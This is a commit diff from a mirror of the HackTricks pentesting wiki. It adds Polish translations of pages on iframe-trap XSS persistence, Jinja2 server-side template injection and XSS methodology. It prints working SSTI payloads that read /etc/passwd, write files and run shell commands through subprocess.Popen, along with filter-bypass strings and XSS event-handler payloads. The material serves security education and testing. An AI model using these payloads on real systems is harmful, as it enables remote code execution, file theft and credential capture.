2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-21 08:28:27 +00:00

Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve

This commit is contained in:
Translator 2024-06-14 10:18:18 +00:00
parent 0e325d6849
commit d75d6c7393
7 changed files with 182 additions and 87 deletions
.gitbook/assets
SUMMARY.md
pentesting-web
iframe-traps.md
ssti-server-side-template-injection
xss-cross-site-scripting

Binary file not shown.

After

(image error) Size: 33 KiB

Binary file not shown.

After

(image error) Size: 27 KiB

View file

@ -587,7 +587,6 @@
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md)
* [Integer Overflow](pentesting-web/integer-overflow.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md)
@ -651,6 +650,7 @@
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
@ -672,6 +672,7 @@
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
* [Iframe Traps](pentesting-web/iframe-traps.md)
## ⛈️ Cloud Security

View file

@ -0,0 +1,47 @@
# Pułapki iframe
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Podstawowe informacje
Ta forma nadużywania XSS za pomocą ramek iframe do kradzieży informacji od użytkownika poruszającego się po stronie internetowej została pierwotnie opublikowana w tych 2 postach na trustedsec.com: [**tutaj**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**tutaj**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
Atak rozpoczyna się na stronie podatnej na XSS, gdzie możliwe jest sprawienie, że **ofiary nie opuszczą XSS**, sprawiając, że **nawigują wewnątrz ramki**, która zajmuje całą aplikację internetową.
Atak XSS w zasadzie spowoduje załadowanie strony internetowej w ramce na 100% ekranu. Dlatego ofiara **nie zauważy, że znajduje się wewnątrz ramki**. Następnie, jeśli ofiara nawiguje się po stronie, klikając linki wewnątrz ramki (wewnątrz strony internetowej), będzie **nawigować wewnątrz ramki** z załadowanym arbitralnym JS, kradnąc informacje z tej nawigacji.
Co więcej, aby uczynić to bardziej realistycznym, możliwe jest użycie niektórych **słuchaczy** do sprawdzania, kiedy rama zmienia lokalizację strony i aktualizowania adresu URL przeglądarki z tymi lokalizacjami, które użytkownik myśli, że przechodzi między stronami za pomocą przeglądarki.
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Co więcej, możliwe jest użycie słuchaczy do kradzieży wrażliwych informacji, nie tylko innych stron, które odwiedza ofiara, ale także danych używanych do **wypełniania formularzy** i wysyłania ich (dane uwierzytelniające?) lub do **kradzieży lokalnego przechowywania**...
Oczywiście, głównymi ograniczeniami są to, że **ofiara zamknięcie karty lub wpisanie innej adresu URL w przeglądarce ucieknie z ramki**. Inny sposób to **odświeżenie strony**, jednakże można to częściowo **zapobiec**, wyłączając prawoklikowe menu kontekstowe za każdym razem, gdy nowa strona jest ładowana wewnątrz ramki lub zauważając, kiedy mysz użytkownika opuszcza ramkę, potencjalnie aby kliknąć przycisk odświeżania przeglądarki, a w tym przypadku adres URL przeglądarki jest aktualizowany z oryginalnym adresem podatnym na XSS, więc jeśli użytkownik go odświeży, zostanie ponownie zatruty (zauważ, że nie jest to bardzo dyskretne).
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>

View file

@ -43,9 +43,10 @@ Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wypi
</pre>
```
### **Wyrzucenie wszystkich zmiennych konfiguracyjnych**
### **Wyciek wszystkich zmiennych konfiguracyjnych**
```python
{{ config }} #In these object you can find all the configured env variables
@ -58,14 +59,15 @@ Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wypi
{% endraw %}
```
## **Wstrzyknięcie Jinja**
Po pierwsze, w wstrzyknięciu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do zwykłego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużyć obiektów**, które pochodzą **z** środowiska **bez piaskownicy, ale są dostępne z piaskownicy**.
Po pierwsze, w wstrzyknięciu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do regularnego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużyć obiektów**, które pochodzą z **środowiska niesankboksowanego, ale są dostępne z piaskownicy**.
### Dostęp do obiektów globalnych
Na przykład w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niezabezpieczonego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska z piaskownicą**.\
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niesankboksowanego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska z piaskownicą**.\
Co więcej, istnieją inne obiekty, które będą **zawsze dostępne z środowiska z piaskownicą**, są to:
```
[]
@ -77,9 +79,9 @@ request
```
### Odzyskiwanie \<class 'object'>
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`** aby spróbować **odzyskać** zdefiniowane **klasy**. Jest to konieczne, ponieważ z tego obiektu możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska pythona.
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`**, aby spróbować **odzyskać** zdefiniowane **klasy**. Dzieje się tak, ponieważ z tego obiektu możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska pythona.
Aby uzyskać dostęp do tej **klasy obiektu**, musisz uzyskać dostęp do **obiektu klasy** a następnie uzyskać dostęp do **`__base__`**, **`__mro__()[-1]`** lub `.`**`mro()[-1]`**. Następnie, **po** dotarciu do tej **klasy obiektu** wywołujemy **`__subclasses__()`**.
Aby uzyskać dostęp do tej **klasy obiektu**, musisz uzyskać dostęp do **obiektu klasy** a następnie uzyskać dostęp do **`__base__`**, **`__mro__()[-1]`** lub `.`**`mro()[-1]`**. Następnie, **po** dotarciu do tej **klasy obiektu** **wywołujemy** **`__subclasses__()`**.
Sprawdź te przykłady:
```python
@ -117,6 +119,7 @@ dict.__mro__[-1]
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
@ -133,7 +136,7 @@ Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych fu
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**Uruchamianie kodu zdalnego**
**Wykonanie kodu zdalnego (RCE)**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -166,7 +169,7 @@ Aby dowiedzieć się o **więcej klasach**, które możesz użyć do **uniknięc
#### Powszechne ominięcia
Te ominięcia pozwolą nam **uzyskać dostęp** do **atrybutów** obiektów **bez użycia niektórych znaków**.\
Te ominięcia pozwolą nam **uzyskać dostęp** do **atrybutów** obiektów, **bez użycia niektórych znaków**.\
Już widzieliśmy niektóre z tych ominięć w przykładach wcześniejszych, ale podsumujmy je tutaj:
```bash
# Without quotes, _, [, ]
@ -194,6 +197,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %}
```
* [**Powrót tutaj po więcej opcji dostępu do obiektu globalnego**](jinja2-ssti.md#accessing-global-objects)
* [**Powrót tutaj po więcej opcji dostępu do klasy obiektu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
@ -201,13 +205,13 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
**Unikanie kodowania HTML**
Domyślnie Flask koduje HTML we wszystkich szablonach ze względów bezpieczeństwa:
Domyślnie Flask koduje HTML we wszystkim w szablonie ze względów bezpieczeństwa:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Filtr `safe`** pozwala nam wstrzyknąć JavaScript i HTML na stronę **bez** kodowania **HTML**, w ten sposób:
**Filtr `safe`** pozwala nam wstrzyknąć JavaScript i HTML na stronę **bez** kodowania **HTML**, tak jak tutaj:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -233,11 +237,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
{% endraw %}
```
## Wstrzyknięcie Jinja bez **\<class 'object'>**
Z [**obiektów globalnych**](jinja2-ssti.md#accessing-global-objects) istnieje inny sposób na uzyskanie **RCE bez użycia tej klasy.**\
Jeśli uda ci się uzyskać dostęp do jakiejkolwiek **funkcji** z tych obiektów globalnych, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
Jeśli uda ci się uzyskać dostęp do **funkcji** z tych obiektów globalnych, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
Możesz **znaleźć funkcje** z obiektów **`request`**, **`config`** i dowolnego **innego** interesującego **obiektu globalnego**, do którego masz dostęp za pomocą:
```bash
@ -282,7 +287,7 @@ Gdy już znajdziesz pewne funkcje, możesz odzyskać wbudowane funkcje za pomoc
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器搜索绕过方式并提供交互式控制台。
```
webui:
As the name suggests, web UI
@ -310,18 +315,18 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Odnośniki
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Sprawdź [szczegół wskazówki dotyczące omijania zablokowanych znaków tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Sprawdź [sztuczkę attr do ominięcia zablokowanych znaków tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -11,7 +11,7 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy nie
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odbijana** w HTML lub **używana** przez kod **JS**.
2. **Znajdź kontekst**, w którym jest odbijana/używana.
3. Jeśli jest **odbijana**
1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj ładunek:
1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
1. W **surowym HTML**:
1. Czy możesz tworzyć nowe tagi HTML?
2. Czy możesz używać zdarzeń lub atrybutów obsługujących protokół `javascript:`?
@ -19,7 +19,7 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy nie
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Wstrzyknięcie Szablonu Po Stronie Klienta**](../client-side-template-injection-csti.md).
5. Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać [**Zawieszone Znaczniki - Wstrzyknięcie HTML bez skryptów**](../dangling-markup-html-scriptless-injection/)?
2. Wewnątrz **tagu HTML**:
1. Czy możesz wyjść do kontekstu surowego HTML?
1. Czy możesz wyjść do surowego kontekstu HTML?
2. Czy możesz tworzyć nowe zdarzenia/cechy do wykonania kodu JS?
3. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?
4. Czy możesz ominąć zabezpieczenia?
@ -28,12 +28,12 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy nie
2. Czy możesz uniknąć ciągu znaków i wykonać inny kod JS?
3. Czy twoje dane wejściowe są w literałach szablonu \`\`?
4. Czy możesz ominąć zabezpieczenia?
4. Funkcja **JavaScript** jest **wykonywana**
4. Funkcja JavaScript **wykonywana**
1. Możesz wskazać nazwę funkcji do wykonania, np.: `?callback=alert(1)`
4. Jeśli jest **używana**:
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane wejściowe są używane przez jakikolwiek zbiornik.**
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane są używane przez jakikolwiek ujście.**
Pracując nad złożonym XSS, może być interesujące wiedzieć o:
Pracując nad złożonym XSS, może być interesujące poznanie:
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
@ -56,13 +56,13 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
Jeśli twoje dane wejściowe są **odbijane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko kilka z wielu możliwych tagów HTML, których możesz użyć.\
Pamiętaj również o [Wstrzyknięciu Szablonu Po Stronie Klienta](../client-side-template-injection-csti.md).
### Wewnątrz atrybutu tagu HTML
### Wewnątrz atrybutów tagów HTML
Jeśli twoje dane wejściowe są odbijane wewnątrz wartości atrybutu tagu, możesz spróbować:
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i utworzyć nowy tag HTML do wykorzystania: `"><img [...]`
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **utworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało arbitralny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania arbitralnego kodu: **`href="javascript:alert(1)"`**
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod, gdy zostanie kliknięte. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
4. Jeśli twoje dane wejściowe są odbijane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebował jakiegoś rodzaju inżyniera społecznego, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
@ -73,10 +73,10 @@ Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
```
### Wewnątrz kodu JavaScript
W tym przypadku twój input jest odbijany pomiędzy tagami **`<script> [...] </script>`** na stronie HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
W tym przypadku twój input jest odbijany między tagami **`<script> [...] </script>`** na stronie HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
* Jeśli jest odbijany pomiędzy tagami **`<script> [...] </script>`**, nawet jeśli twój input znajduje się w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to dlatego, że **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` znajduje się w kodzie HTML.
* Jeśli jest odbijany **wewnątrz łańcucha JS** i poprzedni trik nie działa, będziesz musiał **wyjść** z łańcucha, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
* Jeśli jest odbijany między tagami **`<script> [...] </script>`**, nawet jeśli twój input jest wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to dlatego, że **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` znajduje się wewnątrz kodu HTML.
* Jeśli jest odbijany **wewnątrz łańcucha JS** i poprzedni trik nie działa, będziesz musiał **wyjść** ze stringa, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
@ -98,7 +98,7 @@ Podnoszenie Javascript odnosi się do możliwości **deklarowania funkcji, zmien
### Funkcja Javascript
Wiele stron internetowych ma punkty końcowe, które **przyjmują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w środowisku produkcyjnym, jest coś w rodzaju: `?callback=callbackFunc`.
Kilka stron internetowych ma punkty końcowe, które **przyjmują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w praktyce, jest coś w rodzaju: `?callback=callbackFunc`.
Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, jest **zmiana wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie konsoli pod kątem błędów, takich jak:
@ -120,9 +120,9 @@ parentElement
```
Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, **inne strony w tej samej domenie** będą miały **bardziej interesujący DOM** do wykonania większej liczby działań.
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, **inne strony w tej samej domenie** będą miały **bardziej interesujący DOM** do wykonania więcej działań.
Dlatego, aby **wykorzystać tę podatność w innym DOM**, opracowano eksploatację **Same Origin Method Execution (SOME)**:
Dlatego, aby **wykorzystać tę lukę w zabezpieczeniach w innym DOM**, opracowano eksploatację **Metody Wykonania w Tej Samej Domenie (SOME)**:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -130,7 +130,7 @@ Dlatego, aby **wykorzystać tę podatność w innym DOM**, opracowano eksploatac
### DOM
Istnieje **kod JS**, który **niebezpiecznie** korzysta z pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania dowolnego kodu JS.
Istnieje **kod JS**, który **niebezpiecznie** korzysta z **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania arbitralnego kodu JS.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -138,7 +138,7 @@ Istnieje **kod JS**, który **niebezpiecznie** korzysta z pewnych **danych kontr
### **Uniwersalne XSS**
Ten rodzaj XSS można znaleźć **wszędzie**. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **wykonywania dowolnego kodu JavaScript** może nawet być wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i więcej.\
Ten rodzaj XSS można znaleźć **wszędzie**. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **arbitralnego wykonania JavaScript** może nawet być wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i więcej.\
Kilka **przykładów**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -149,7 +149,7 @@ Kilka **przykładów**:
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
## Obchodzenie WAF kodowanie obrazu
## Obchodzenie WAF za pomocą kodowania obrazu
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
@ -165,12 +165,12 @@ W tym przypadku, jeśli nie jest używane czarne/białe listowanie, można uży
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Jednak jeśli jest używane filtrowanie tagów/cechowania na czarną/białą listę, będziesz musiał **przeprowadzić atak siłowy na tagi**, które możesz stworzyć.\
Ale jeśli używane jest filtrowanie tagów/cech czarnej/białej listy, będziesz musiał **przeprowadzić atak siłowy na tagi**, które możesz stworzyć.\
Gdy już **znajdziesz dozwolone tagi**, będziesz musiał **przeprowadzić atak siłowy na cechy/zdarzenia** w znalezionych poprawnych tagach, aby zobaczyć, jak możesz zaatakować kontekst.
### Atak siłowy na tagi/zdarzenia
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Skopiuj tagi do schowka**_. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy jakiekolwiek tagi nie zostały uznane za złośliwe przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz **przeprowadzić atak siłowy na wszystkie zdarzenia** za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij _**Skopiuj zdarzenia do schowka**_ i postępuj tak samo jak wcześniej).
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Skopiuj tagi do schowka**_. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy którykolwiek z tagów nie został uznany za złośliwy przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz **przeprowadzić atak siłowy na wszystkie zdarzenia** za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij _**Skopiuj zdarzenia do schowka**_ i postępuj tak samo jak wcześniej).
### Tagi niestandardowe
@ -178,7 +178,7 @@ Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **stwo
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Ominięcie czarnej listy
### Pomijanie czarnej listy
Jeśli jest używana jakaś forma czarnej listy, możesz spróbować ją ominąć za pomocą kilku głupich sztuczek:
```javascript
@ -230,10 +230,10 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Długościowy bypass (małe XSSy)
### Długość pomijania (małe XSSy)
{% hint style="info" %}
**Więcej małych XSSów dla różnych środowisk** payload [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) oraz [**tutaj**](https://tinyxss.terjanq.me).
**Więcej małych XSS dla różnych środowisk** ładunek [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) oraz [**tutaj**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -242,23 +242,23 @@ onerror=alert`1`
<script src=//℡㏛.pw>
```
Ostatni z nich używa 2 znaków Unicode, które rozszerzają się do 5: telsr\
Więcej takich znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
Aby sprawdzić, w jakie znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
